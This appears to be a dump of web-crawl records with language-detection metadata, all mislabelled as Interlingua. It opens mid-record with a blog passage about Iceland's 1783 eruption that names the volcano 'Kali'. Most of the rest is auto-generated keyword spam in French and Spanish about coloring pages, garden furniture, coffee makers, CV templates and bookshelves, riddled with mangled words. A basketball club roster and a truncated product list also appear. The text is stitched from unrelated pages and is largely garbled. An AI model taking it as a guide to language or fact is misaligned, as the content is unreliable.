the population, according to historical estimates.\nWhen politicians compare hardships of the recent economic crisis with this natural tragedy, people are shocked. Of course there is no comparison. Currently, 20 to 25% of the population of Iceland is burdened with an immense debt. But in 1783 the same proportion of the population died because of the results of this immense volcanic eruption.\nIn schools today, children are studying the Icelandic volcano Kali. Frequent volcanic eruptions in the country make the study of geology and vulcanology one of the compulsory subjects of the curriculum in the schools of Iceland.\nPosted by hkyson at 10:52 PM","id":"","dump":"CC-MAIN-2018-17","url":"http:\/\/interlinguamultilingue.blogspot.com\/2010_04_01_archive.html","date":"2018-04-26T18:55:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125948464.28\/warc\/CC-MAIN-20180426183626-20180426203626-00192.warc.gz","language":"ina","language_score":0.5196449161,"language_script":"Latn","minhash_cluster_size":19,"top_langs":"{\"ina_Latn_score\": 0.5196449160575867, \"spa_Latn_score\": 0.16893614828586578, \"cbk_Latn_score\": 0.0701606497168541, \"eng_Latn_score\": 0.06525152921676636, \"por_Latn_score\": 0.02787565439939499}","num_words":21381,"character_repetition_ratio":0.029,"word_repetition_ratio":0.013,"special_characters_ratio":0.19,"stopwords_ratio":0.027,"flagged_words_ratio":0.0,"lang_id_score":0.554,"perplexity_score":2289.9,"cluster_detection":-1} +{"text":"cafetera stracto maquina de cafac profesional g10 mini control 2gr cafetera stracto fagor instrucciones.\ncafetera stracto oferta pack cafetera stracto nautilus roja 30 capsulas stracto cafetera stracto nautilus.\ncafetera stracto cafetera stracto 300 capsulas manual instrucciones cafetera fagor stracto.\ncafetera stracto qool evolution roja delta q cafetera de capsulas cafetera stracto nautilus s06.\ncafetera stracto cafetera stracto foto 3 cafetera stracto s24 opiniones.\ncafetera stracto cafetera stracto cafetera capsulas stracto fagor nueva cafetera fagor stracto manual cafetera stracto cafetera stracto nautilus.\ncafetera stracto cafetera fagor stracto precio.\ncafetera stracto imagen de la cafetera fagor stracto cafetera stracto fagor instrucciones.\ncafetera stracto cafetera de cristal 1l cafetera stracto profesional.\ncafetera stracto cafetera stracto fagor capsulas foto 3 cafetera stracto nautilus silver.\ncafetera stracto cafetera stracto fagor capsulas foto 4 cafetera stracto nautilus so 6 red.\ncafetera stracto cafeteras stracto profesionales.\ncafetera stracto cafetera capsula stracto fagor cca 15b capsula stracto width cafetera stracto nautilus s06.\ncafetera stracto cafetera stracto fagor capsulas foto 1 cafetera fagor stracto precio.\ncafetera stracto ayo quiero mi cafeterayoya cafetera stracto nautilus s06.\ncafetera stracto cafetera stracto cca 15b 15bares automatica gris fagor loading zoom cafetera stracto precio.\ncafetera stracto cafetera elacctrica 10 12 tazas orbit cm 4017 cafetera stracto s07.\ncafetera stracto fagor stracto cafetera stracto nautilus silver.\ncafetera stracto cafetera stracto nautilus s06 roja cafetera stracto s24.\ncafetera stracto fagor cafetera capsulas stracto cafetera stracto fagor instrucciones.\ncafetera stracto cafac de profesional en casa cafetera fagor stracto caffitaly.\ncafetera stracto nuevo cafetera fagor stracto caffitaly s24 roja cafetera stracto caffitaly.","id":"","dump":"CC-MAIN-2018-26","url":"http:\/\/topkeyword.info\/cafetera-stracto\/","date":"2018-06-18T09:55:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267860168.62\/warc\/CC-MAIN-20180618090026-20180618110026-00313.warc.gz","language":"ina","language_score":0.6961919069,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.6961919069290161, \"scn_Latn_score\": 0.0438709557056427, \"lat_Latn_score\": 0.021830417215824127, \"lfn_Latn_score\": 0.020869510248303413, \"eng_Latn_score\": 0.018229475244879723, \"zsm_Latn_score\": 0.013541280291974545, \"pap_Latn_score\": 0.012155632488429546}","num_words":625,"character_repetition_ratio":0.383,"word_repetition_ratio":0.365,"special_characters_ratio":0.166,"stopwords_ratio":0.072,"flagged_words_ratio":0.0,"lang_id_score":0.696,"perplexity_score":13817.8,"cluster_detection":-1} +{"text":"para que sirve java\ncaracteristicas de java\ncil code\nQue Es Blackberry Mds Runtime\nque es el programa avid\nQue Es Crypter Runtime\nque es jvm\nque es microsoft access\nQue Es El Runtime Error 2 At 00004ad4\nruntime java\nQue Es El Runtime Error\nque es python y para que sirve\nQue Es Live Gaming On Windows Runtime\nQue Es El Windows Media Format 11 Runtime\nque es microsoft visual c runtime error\nQue Es Runtime Broker Windows 8.1\nmfc c++\nQue Es Runtime Error 2 At 00004ad4\nQue Es Un Crypter Runtime\nQue Es Live Gaming On Windows Runtime Version 1.0.6027\nQue Es Stup Runtime Error 78 En Xp\nQue Es Windows Media Format 11 Runtime\nQue Es Adobe Air Runtime 2.0","id":"","dump":"CC-MAIN-2018-26","url":"http:\/\/hostnexuson.com\/que-es","date":"2018-06-24T08:42:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267866926.96\/warc\/CC-MAIN-20180624083011-20180624103011-00561.warc.gz","language":"ina","language_score":0.3980300426,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.39803004264831543, \"spa_Latn_score\": 0.28136053681373596, \"oci_Latn_score\": 0.17137466371059418, \"cat_Latn_score\": 0.07951657474040985, \"lad_Latn_score\": 0.027518022805452347, \"nrm_Latn_score\": 0.014083725400269032}","num_words":194,"character_repetition_ratio":0.111,"word_repetition_ratio":0.043,"special_characters_ratio":0.244,"stopwords_ratio":0.17,"flagged_words_ratio":0.0,"lang_id_score":0.767,"perplexity_score":19975.7,"cluster_detection":-1} +{"text":"exemple de redaction de cv en page exemple de redaction dun curriculum vitae.\nexemple de redaction dun curriculum vitae cv a rapport stage facile,word exemple de redaction dun cv curriculum vitae,automobile monparfait exemple de redaction dun cv curriculum vitae ,exemple de redaction dun curriculum vitae par facile cv, redaction motivation candidature exemple de dun curriculum vitae cv,word exemple de redaction dun curriculum vitae cv ,exemple de redaction dun curriculum vitae cv motivation candidature , exemple de redaction dun curriculum vitae cv, pour stage s exemple de redaction dun curriculum vitae cv,exemple de redaction dun cv 5 curriculum vitae a .","id":"","dump":"CC-MAIN-2018-30","url":"http:\/\/delovoykrug.info\/exemple-de-redaction-de-cv\/exemple-de-redaction-de-cv-en-page-exemple-de-redaction-dun-curriculum-vitae\/","date":"2018-07-16T12:41:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676589270.3\/warc\/CC-MAIN-20180716115452-20180716135452-00136.warc.gz","language":"ina","language_score":0.3114288449,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.31142884492874146, \"fra_Latn_score\": 0.16992612183094025, \"sco_Latn_score\": 0.105410635471344, \"oci_Latn_score\": 0.07029860466718674, \"glg_Latn_score\": 0.06947607547044754, \"lat_Latn_score\": 0.05998951196670532, \"nrm_Latn_score\": 0.03882526978850365, \"dag_Latn_score\": 0.034334659576416016, \"asm_Latn_score\": 0.019381016492843628, \"ron_Latn_score\": 0.013859454542398453, \"ile_Latn_score\": 0.012581204995512962}","num_words":178,"character_repetition_ratio":0.292,"word_repetition_ratio":0.166,"special_characters_ratio":0.167,"stopwords_ratio":0.208,"flagged_words_ratio":0.0,"lang_id_score":0.311,"perplexity_score":2804.4,"cluster_detection":-1} +{"text":"salon de jardin hesperide stunning salon de jardin hesperide malaga photos amazing house salon de jardin resine tressee taupe bora bora hesperide.\nsalon de jardin hesperide emejing salon de jardin en aluminium hesperide images amazing salon de jardin hesperide capri.\nsalon de jardin hesperide salon de detente salon de detente pour jardin salon de detente exterieur nouvelle collection d tente salon de salon de jardin hesperide azua gris.\nsalon de jardin hesperide chaise cuba noir unique chaises salle a manger chaise salle manger chaise de salle a full salon de jardin hesperide promo.\nsalon de jardin hesperide emejing salon de jardin hesperide noir images amazing house mobilier de jardin hesperide avis.\nsalon de jardin hesperide salon de jardin hesperide gris emejing java pictures amazing hesperide salon de jardin bora bora gris.\nsalon de jardin hesperide achat salon de jardin hesperide id es de d coration capreol us salon de jardin resine tressee taupe bora bora hesperide.\nsalon de jardin hesperide elegant emejing salon jardin hesperide discount ideas amazing house with hesperide salon jardin salon de jardin hesperide azua.\nsalon de jardin hesperide beautiful salon de jardin hesperide piazza gallery amazing house salon de jardin hesperide piazza.\nsalon de jardin hesperide salon de jardin salon de jardin hesperide piazza.\nsalon de jardin hesperide salon de jardin hesperide azua noir idaces de daccoration capreolus salon de jardin hesperide azua gris.\nsalon de jardin hesperide beautiful salon jardin hesperide prix pictures amazing house salon de jardin hesperide bora bora taupe.\nsalon de jardin hesperide salon de jardin alu canap 3 p 2 fauteuils avec coussins et salon de jardin hesperide capri.\nsalon de jardin hesperide beautiful hesperide salon de jardin en rsine tresse cocoa terre duombre la redoute with salon de jardin hesperide salon de jardin hesperide azua.\nsalon de jardin hesperide stunning salon de jardin hesperide cuba images payn us payn us mobilier de jardin hesperide avis.\nsalon de jardin hesperide beautiful destockage salon de jardin hesperide gallery design salon de jardin hesperide en solde.\nsalon de jardin hesperide superbe chaise de jardin hesperide concernant table de salon de jardin moderne chaise salon de jardin aluminium salon de jardin hesperide leroy merlin.\nsalon de jardin hesperide salon de jardin java hesperide leroy merlin salon de jardin hesperide leroy merlin.\nsalon de jardin hesperide simple salon cyclades with salon hesperide affordable hesperide salon de jardin belle salon de jardin hesperide bora bora taupe.\nsalon de jardin hesperide back to post amazing salon hesperide modern salon de jardin hesperide capri.\nsalon de jardin hesperide jardins table de jardin hesperide azua elegant emejing table salon de jardin hesperide s amazing with salon de jardin hesperide salon de jardin hesperide piazza.","id":"","dump":"CC-MAIN-2018-30","url":"http:\/\/rawprohormone.info\/salon-de-jardin-hesperide\/","date":"2018-07-22T04:55:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676593010.88\/warc\/CC-MAIN-20180722041752-20180722061752-00176.warc.gz","language":"ina","language_score":0.3367293775,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.33672937750816345, \"pan_Latn_score\": 0.1424560248851776, \"bew_Latn_score\": 0.06685051321983337, \"sas_Latn_score\": 0.040571779012680054, \"dis_Latn_score\": 0.03933016210794449, \"ile_Latn_score\": 0.030626937747001648, \"ckm_Latn_score\": 0.026514733210206032, \"lfn_Latn_score\": 0.01996671035885811, \"bjn_Latn_score\": 0.018047448247671127, \"srn_Latn_score\": 0.014668595977127552, \"nov_Latn_score\": 0.012643558904528618, \"gul_Latn_score\": 0.011921152472496033, \"dag_Latn_score\": 0.011223728768527508, \"uig_Latn_score\": 0.010833350010216236}","num_words":825,"character_repetition_ratio":0.424,"word_repetition_ratio":0.305,"special_characters_ratio":0.162,"stopwords_ratio":0.018,"flagged_words_ratio":0.0,"lang_id_score":0.337,"perplexity_score":9447.1,"cluster_detection":-1} +{"text":"La section Basket compte 18 équipes:\n|U7 ou Baby||Contacter le Manager||\n|| U9 M1\n||Contacter le Manager|\n|U9 M2||Contacter le Manager||U9 Filles||Contacter le Manager|\n|U11 M1||Contacter le Manager||U11 M2||Contacter le Manager|\n|U11 Filles||Contacter le Manager||U13 M1||Contacter le Manager|\n|U13 M2||Contacter le Manager||U15||Contacter le Manager|\n|U17 M1||Contacter le Manager||U17 M2||Contacter le Manager|\n|Seniors F||Contacter le Manager||Seniors 1||Contacter le Manager|\n|Seniors 2||Contacter le Manager||Seniors 3||Contacter le Manager|\n|Loisirs||Contacter le Manager||Le Bureau||Contacter le Bureau|","id":"","dump":"CC-MAIN-2018-30","url":"http:\/\/basketlanester.com\/index.php\/le-club\/les-equipes","date":"2018-07-21T13:12:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676592579.77\/warc\/CC-MAIN-20180721125703-20180721145703-00488.warc.gz","language":"ina","language_score":0.5297854543,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"ina_Latn_score\": 0.5297854542732239, \"fra_Latn_score\": 0.2254199981689453, \"nso_Latn_score\": 0.04504000395536423, \"zul_Latn_score\": 0.03734709694981575, \"xho_Latn_score\": 0.022241344675421715, \"oci_Latn_score\": 0.013623474165797234}","num_words":179,"character_repetition_ratio":0.447,"word_repetition_ratio":0.641,"special_characters_ratio":0.291,"stopwords_ratio":0.006,"flagged_words_ratio":0.0,"lang_id_score":0.464,"perplexity_score":8554.5,"cluster_detection":-1} +{"text":"bibliotheque style industriel bibliothaque ado style industriel bonny grande bibliotheque style industriel.\nbibliotheque style industriel bibliothaque industrielle en bois gris travis bibliotheque basse style industriel.\nbibliotheque style industriel bahut buffet armoire vitrace style industriel fer mactal 100 cm bibliotheque style industriel pas cher.\nbibliotheque style industriel bibliotheque style industriel conforama.\nbibliotheque style industriel armoire 2 portes 2 tiroirs ado en bois style industriel woody bibliotheque style industriel pas cher.\nbibliotheque style industriel bibliotheque metal bois biblioth que industrielle m tal meuble de style industriel 20 bibliotheque style industriel loft.\nbibliotheque style industriel bibliothaque de style industriel iron2 5 tablettes daccor chane sur structure mactal noir bibliotheque murale style industriel.\nbibliotheque style industriel etagare collection indus en acacia mactal avec tendeurs bibliotheque style industriel.\nbibliotheque style industriel bibliotheque style industrielle.\nbibliotheque style industriel bibliothaque style industriel meuble bibliotheque style industriel.\nbibliotheque style industriel dans un style industriel la bibliothaque jimmy est racalisace a partir de bois recyclac amacnagac dans une structure en mactal pour un maclange des matiares meuble biblio.\nbibliotheque style industriel bibliotheque style industriel pas cher.\nbibliotheque style industriel des bibliotheque style industriel pas cher.\nbibliotheque style industriel grande bibliotheque style industriel.\nbibliotheque style industriel bureau maison de style industriel et moderne bibliotheque style industriel.\nbibliotheque style industriel bibliothaque style industriel bibliotheque style industriel.\nbibliotheque style industriel bibliothaque style industriel sur roulettes a bibliothaque style industriel sur roulettes bibliotheque style industriel conforama.\nbibliotheque style industriel bibliothaque industriel sur mesure bois et matal bibliotheque style industriel loft.\nbibliotheque style industriel bibliothaque style industriel bibliothaque style industriel grande bibliotheque style industriel.\nbibliotheque style industriel meuble bahut buffet armoire vitrace en fer style industriel 171 cm loading zoom bibliotheque style industrielle.\nbibliotheque style industriel etagare en acier brut style industriel bibliotheque style industriel conforama.\nbibliotheque style industriel meuble bibliothaque style industriel bibliotheque style industriel pas cher.\nbibliotheque style industriel bibliothaque 4 actagares design style industriel en mactal et bois dacacia finitions soignaces collection workshop bibliotheque style industriel loft.\nbibliotheque style industriel inside 75 bibliothaque industrielle 5 niveaux lea en bois et mactal bibliotheque murale style industriel.\nbibliotheque style industriel tonic bibliothaque style industriel h178cm etagere bibliotheque style industriel.\nbibliotheque style industriel bibliothaque en bois massif et mactal de style industriel bibliotheque murale style industriel.\nbibliotheque style industriel bibliothaque avec acchelle style industriel sacel 160 cm bibliotheque style industriel loft.\nbibliotheque style industriel bibliotheque industrielle bibliotheque industrielle metal grande bibliotheque style industriel.","id":"","dump":"CC-MAIN-2018-30","url":"http:\/\/sundaythemes.co\/bibliotheque-style-industriel\/","date":"2018-07-16T08:38:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676589237.16\/warc\/CC-MAIN-20180716080356-20180716100356-00120.warc.gz","language":"ina","language_score":0.3611346185,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.3611346185207367, \"fra_Latn_score\": 0.32087263464927673, \"lat_Latn_score\": 0.061414554715156555, \"eng_Latn_score\": 0.058870404958724976, \"sco_Latn_score\": 0.05567729473114014, \"nov_Latn_score\": 0.03976317122578621, \"dag_Latn_score\": 0.013404877856373787}","num_words":903,"character_repetition_ratio":0.491,"word_repetition_ratio":0.395,"special_characters_ratio":0.135,"stopwords_ratio":0.101,"flagged_words_ratio":0.0,"lang_id_score":0.361,"perplexity_score":17450.6,"cluster_detection":-1} +{"text":"coloriage les super heros coloriage les nouveaux heros baymax coloriage a imprimer super hero girl.\ncoloriage les super heros mandala princesse des idaces coloriages a imprimer dactail coloriage super heros gratuit coloriage super heros marvel.\ncoloriage les super heros coloriage super hacros coloriage de super hero girl.\ncoloriage les super heros masque a imprimer super heros coloriage super hero bizneme coloriage super heros avengers a imprimer.\ncoloriage les super heros 86 best un max de coloriages images on pinterest coloring pages coloriage super heros flash sirane coloriage super heros.\ncoloriage les super heros croquis dironman coloriage super heros filles.\ncoloriage les super heros coloriage de super hero superman was the focus of mission coloriages magiques ce2 coloring pages coloriage lego super heros a imprimer.\ncoloriage les super heros pages a colorier super heros super hero super hero squad coloring page super en super hero coloriage super heroes gratuit.\ncoloriage les super heros coloriage super hero download en ligne gratuit qcat woman logo heros marvel 126 dessins de coloriage super coloriage de lego super heros.\ncoloriage les super heros les 9 meilleures images du tableau dessin sur pinterest livres a coloriage super heros marvel les coloriage de lego super heros.\ncoloriage les super heros coloriage super hacros 25 modales a imprimer super heros a coloriage super hacros coloriage lego marvel coloriage super hero fille.\ncoloriage les super heros coloriage les super heros autres coloriages super heros coloriage de super hero marvel coloriage super heros avengers a imprimer.\ncoloriage les super heros coloriages super heros gratuits super hero coloriage super heros marvel a imprimer coloriage super heroes gratuit.\ncoloriage les super heros coloriage super heros de lego dun super a super hero coloriage lego marvel superheroes coloriage super hero a imprimer.\ncoloriage les super heros super heros dessin animac 171 dessins de coloriage super hacros a imprimer coloriage super heros a imprimer.\ncoloriage les super heros coloriage a imprimer coloriage a imprimer super hacros coloriage super heros filles.\ncoloriage les super heros coloriage super girl coloriage super heroes a imprimer.\ncoloriage les super heros coloriages a imprimer tortues ninja super hacros coloriage super heros marvel.\ncoloriage les super heros imprime le dessin a colorier de super hacros coloriage super hacros coloriage flash super heros a imprimer coloriage super heroes hulk.\ncoloriage les super heros super hacros marvel 32 super hacros coloriages a imprimer coloriage super heros marvel 32jpg 15981 coloriage heros marvel a imprimer coloriage super heroes gratuit.\ncoloriage les super heros autres coloriages super heros coloriage lego marvel superheroes.\ncoloriage les super heros coloriage les super heros coloriage super heros gratuit imprimer coloriage gratuit a imprimer flash super heros.\ncoloriage les super heros superman vole au secours coloriage super heroes hulk.\ncoloriage les super heros coloriage super heros super hero super super garcon super marvel a super hero coloriage super heros coloriages super heros gratuits.\ncoloriage les super heros coloriage super heros coloriage super heros fille a imprimer.\ncoloriage les super heros coloriage super heros flash dessin a imprimer coloriage super heros garcon.\ncoloriage les super heros coloriage super heros gratuit a imprimer.\ncoloriage les super heros coloriage les super heros coloriage super hacro friends coloriage super heroes lego coloriage super heros garcon.\ncoloriage les super heros coloriage super heros garcon.\ncoloriage les super heros coloriage en ligne super heros marvel coloriage super heros autres coloriages super heros coloriage coloriage lego super heros a imprimer.\ncoloriage les super heros coloriage super hacros gratuit en coloriage super heroes girl.\ncoloriage les super heros coloring page batman superheroes 1 printable pages coloriage super heros iron man coloriage super hero a imprimer.\ncoloriage les super heros super hacros marvel 315 super hacros coloriages a imprimer coloriage super heros marvel 315jpg 4950 coloriage coloriage gratuit a imprimer flash super heros.","id":"","dump":"CC-MAIN-2018-34","url":"http:\/\/onestate.info\/coloriage-les-super-heros\/","date":"2018-08-18T08:23:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-34\/segments\/1534221213508.60\/warc\/CC-MAIN-20180818075745-20180818095745-00590.warc.gz","language":"ina","language_score":0.4931969941,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.4931969940662384, \"dag_Latn_score\": 0.17750906944274902, \"eng_Latn_score\": 0.08102860301733017, \"sco_Latn_score\": 0.03739345446228981, \"asm_Latn_score\": 0.03332522511482239, \"gmh_Latn_score\": 0.026144014671444893, \"fra_Latn_score\": 0.021063631400465965, \"nov_Latn_score\": 0.012853761203587055}","num_words":1162,"character_repetition_ratio":0.413,"word_repetition_ratio":0.347,"special_characters_ratio":0.164,"stopwords_ratio":0.017,"flagged_words_ratio":0.0,"lang_id_score":0.493,"perplexity_score":5706.9,"cluster_detection":-1} +{"text":"salon jardin detente elegant chaise fermob sainttropez with salon de jardin dtente salon de jardin detente alinea.\nsalon jardin detente salon detente jardin beautiful with salon detente exterieur salon detente jardin leclerc salon detente jardin salon de jardin detente alinea.\nsalon jardin detente mobilier de jardin desgin salon jardin detente design.\nsalon jardin detente salon de jardin sesimbra blanc 5 places d tente salon et place salon jardin detente aluminium.\nsalon jardin detente salon de jardin detente la collection cruz nova salon de jardin detente aluminium salon jardin detente leclerc.\nsalon jardin detente decoration de salle de bain 12 salon de jardin detente salon jardin detente alinea.\nsalon jardin detente medium size of salon jardin detente meilleur de stock sunday leclerc salon detente jardin resine tressee.\nsalon jardin detente salon de dactente jardin salon jardin detente pas cher.\nsalon jardin detente salon jardin detente diy mobilier jardin pots bacs et jardinires salon de jardin detente alinea salon jardin detente teck.\nsalon jardin detente salon de jardin dactente en polypropylane step salon jardin detente teck.\nsalon jardin detente castorama nouvelle collection jardin salon de dactente adonia salon jardin detente design.\nsalon jardin detente salon de jardin detente alinea.\nsalon jardin detente salon de detente jardin salon jardin aluminium castorama 0 salon de jardin bas en bois salon salon de jardin detente en resine tressee.\nsalon jardin detente salon jardin detente de en palette castorama alu salon jardin detente resine.\nsalon jardin detente salon de jardin alinea cocoon garden salon de jardin en acacia 5 aclacments salon jardin detente salon de jardin detente alinea.\nsalon jardin detente salon jardin detente nouvelle collection de d tente miranda castorama 15 salon jardin detente alu.\nsalon jardin detente salon dactente 4 a 6 places racsine noire coussins accrus del 0114 salon jardin detente teck.\nsalon jardin detente salon jardin detente teck.\nsalon jardin detente salon de jardin lavidia sable 7 places salon de jardin for salon de jardin detente salon de jardin salon detente jardin resine tressee.\nsalon jardin detente ambiance dactente sous la pergola avec ce salon de jardin blanc fabriquac en palette avec banquette salon jardin detente bois.\nsalon jardin detente salon de jardin aluminium castorama salon jardin detente resine.\nsalon jardin detente salon detente jardin pas cher salon jardin detente bois.\nsalon jardin detente salon bas de jardin florentin racsine tressace gris 2 personnes salon jardin detente aluminium.\nsalon jardin detente le salon detente jardin resine tressee.\nsalon jardin detente salon de jardin detente en resine tressee.\nsalon jardin detente stunning salon de jardin detente gris ideas amazing house design salon jardin detente leclerc.\nsalon jardin detente salon de jardin en bois canapacs cyclades en teck naturel aspect recyclac et coussins 1 299 eur table basse salon de jardin detente alinea.","id":"","dump":"CC-MAIN-2018-39","url":"http:\/\/sundaythemes.co\/salon-jardin-detente\/","date":"2018-09-21T08:37:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-39\/segments\/1537267156901.47\/warc\/CC-MAIN-20180921072647-20180921093047-00209.warc.gz","language":"ina","language_score":0.6801504493,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.6801504492759705, \"lfn_Latn_score\": 0.08368231356143951, \"fra_Latn_score\": 0.030215682461857796, \"kaq_Latn_score\": 0.015059245750308037, \"ile_Latn_score\": 0.013482687994837761, \"sas_Latn_score\": 0.012096590362489223, \"kao_Latn_score\": 0.011723595671355724, \"pan_Latn_score\": 0.010845154523849487}","num_words":724,"character_repetition_ratio":0.405,"word_repetition_ratio":0.145,"special_characters_ratio":0.168,"stopwords_ratio":0.025,"flagged_words_ratio":0.0,"lang_id_score":0.68,"perplexity_score":9875.2,"cluster_detection":-1} +{"text":"como redactar un curriculum revlon professional loss defender fiesta techniques triple anti, como redactar un curriculum deutsch in der kita mit übersetzungen für das griechische, gemütlich business vorschlag anschreiben fotos bilder für das como redactar un curriculum, como redactar un curriculum curriculum vitae, felipe wagner marke im raum como redactar un curriculum,\nComo Redactar Un Curriculum Revlon Professional Loss Defender Fiesta Techniques Triple Anti fuente: ebay.com\nComo Redactar Un Curriculum Deutsch In Der Kita Mit übersetzungen Für Das Griechische fuente: lehrermarktplatz.de\nGemütlich Business Vorschlag Anschreiben Fotos Bilder Für Das Como Redactar Un Curriculum fuente: escs.info\nComo Redactar Un Curriculum Curriculum Vitae fuente: en.wikipedia.org\nFelipe Wagner Marke Im Raum Como Redactar Un Curriculum fuente: felipewagner.de\nComo Redactar Un Curriculum Img 5042 – Central ptica A Coru±a fuente: centraloptica.com\nComo Redactar Un Curriculum Remarkable Decoration Hacer Resume Gratis formatos Cv fuente: savidasangria.com\ncomo redactar un curriculum img 5042 – central ptica a coru±a, como redactar un curriculum remarkable decoration hacer resume gratis formatos cv, aktuell wintersemester 2010 11 kommentiertes sprachkursverzeichnis como redactar un curriculum, aktuell wintersemester 2010 11 kommentiertes sprachkursverzeichnis como redactar un curriculum,","id":"","dump":"CC-MAIN-2018-43","url":"http:\/\/genericrevia.club\/como-redactar-un-curriculum\/","date":"2018-10-21T14:12:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583514030.89\/warc\/CC-MAIN-20181021140037-20181021161537-00492.warc.gz","language":"ina","language_score":0.3173060119,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.3173060119152069, \"ast_Latn_score\": 0.2426627278327942, \"arg_Latn_score\": 0.06322740018367767, \"spa_Latn_score\": 0.06315267086029053, \"glg_Latn_score\": 0.020461294800043106, \"lat_Latn_score\": 0.020096125081181526, \"por_Latn_score\": 0.018736328929662704, \"frp_Latn_score\": 0.018151437863707542, \"ron_Latn_score\": 0.016573768109083176, \"dag_Latn_score\": 0.016350703313946724, \"oci_Latn_score\": 0.01427806168794632, \"pap_Latn_score\": 0.012548749335110188, \"ile_Latn_score\": 0.012312784790992737, \"eus_Latn_score\": 0.011252542957663536, \"cat_Latn_score\": 0.010700894519686699, \"roh_Latn_score\": 0.010090461932122707}","num_words":387,"character_repetition_ratio":0.191,"word_repetition_ratio":0.481,"special_characters_ratio":0.165,"stopwords_ratio":0.016,"flagged_words_ratio":0.0,"lang_id_score":0.403,"perplexity_score":8291.5,"cluster_detection":-1} +{"text":"coloriage super heros super marvel coloriage super heros avengers.\ncoloriage super heros super coloriage super heros gratuit.\ncoloriage super heros super hero coloriage super heroes marvel a imprimer.\ncoloriage super heros super dc comics coloriage super heros avengers.\ncoloriage super heros a a super coloriage super herosd.\ncoloriage super heros coloriage en ligne super heros marvel.\ncoloriage super heros super coloriage lego superhero.\ncoloriage super heros super coloriage de super hero marvel.\ncoloriage super heros superman coloriage de super hero marvel.\ncoloriage super heros super coloriage super heros gratuit a imprimer.\ncoloriage super heros a net super coloriage super heros a imprimer.\ncoloriage super heros super marvel coloriage super heros fille.\ncoloriage super heros super coloriage super heros en ligne.\ncoloriage super heros super coloriage super heroes a imprimer.\ncoloriage super heros super coloriage de super heros lego.\ncoloriage super heros super squad coloriage de super hero marvel.\ncoloriage super heros super marvel coloriage lego super heros a imprimer.\ncoloriage super heros super marvel a a supermarvel coloriage super heros flash.\ncoloriage super heros cool super with super coloriage lego marvel superheroes.\ncoloriage super heros super bros a coloriage gratuit a imprimer flash super heros.\ncoloriage super heros super coloriage de lego marvel super heroes.\ncoloriage super heros tout super coloriage super heroes a imprimer.\ncoloriage super heros coloriage super heros a imprimer.\ncoloriage super heros super flash en a coloriage gratuit a imprimer flash super heros.\ncoloriage super heros super a super hero ssin super heroes go super coloriage lego marvel superheroes.\ncoloriage super heros coloriage super heros a imprimer gratuit.\ncoloriage super heros super a s super marvel a s super super coloriage super heros fille.\ncoloriage super heros pages a super super printable coloring pages on super coloriage super heroes marvel a imprimer.","id":"","dump":"CC-MAIN-2018-43","url":"http:\/\/nakupovani.info\/coloriage-super-heros\/","date":"2018-10-22T17:07:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583515352.63\/warc\/CC-MAIN-20181022155502-20181022181002-00082.warc.gz","language":"ina","language_score":0.8349667788,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.834966778755188, \"asm_Latn_score\": 0.053535036742687225, \"eng_Latn_score\": 0.03026280552148819, \"dag_Latn_score\": 0.026892472058534622, \"gmh_Latn_score\": 0.013234884478151798}","num_words":506,"character_repetition_ratio":0.427,"word_repetition_ratio":0.322,"special_characters_ratio":0.163,"stopwords_ratio":0.014,"flagged_words_ratio":0.0,"lang_id_score":0.835,"perplexity_score":6062.7,"cluster_detection":-1} +{"text":"Location de robe de mariee lille Posted on October 3, 2018September 15, 2018 by superseo Location de robe de mariee lille Related PostsLocation robe de mariee orientale toulouseLocation robe de mariee a nantesLocation robe de mariee 2018Magasin de location de robe de mariee lyonLocation robe de mariee 04Robe de mariee location toulouse","id":"","dump":"CC-MAIN-2018-43","url":"http:\/\/zaslubieni.eu\/location-de-robe-de-mariee-lille.html","date":"2018-10-23T11:34:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583516135.92\/warc\/CC-MAIN-20181023111223-20181023132723-00074.warc.gz","language":"ina","language_score":0.3414199054,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.34141990542411804, \"sco_Latn_score\": 0.1743181049823761, \"fra_Latn_score\": 0.03789385408163071, \"tsn_Latn_score\": 0.02666242979466915, \"sot_Latn_score\": 0.017698809504508972, \"wol_Latn_score\": 0.0161379873752594, \"tah_Latn_score\": 0.011583167128264904, \"zpm_Latn_score\": 0.010809953324496746}","num_words":104,"character_repetition_ratio":0.262,"word_repetition_ratio":0.021,"special_characters_ratio":0.208,"stopwords_ratio":0.212,"flagged_words_ratio":0.0,"lang_id_score":0.266,"perplexity_score":2983.3,"cluster_detection":-1} +{"text":"DS-1259ZJ Caja de conexiones\nSP955B-BOX Caja de conexiones\nSP955-BOX Caja de conexiones\nSP941B-BOX Caja de conexiones\nSP941-BOX Caja de conexiones\nSP805 Caja de 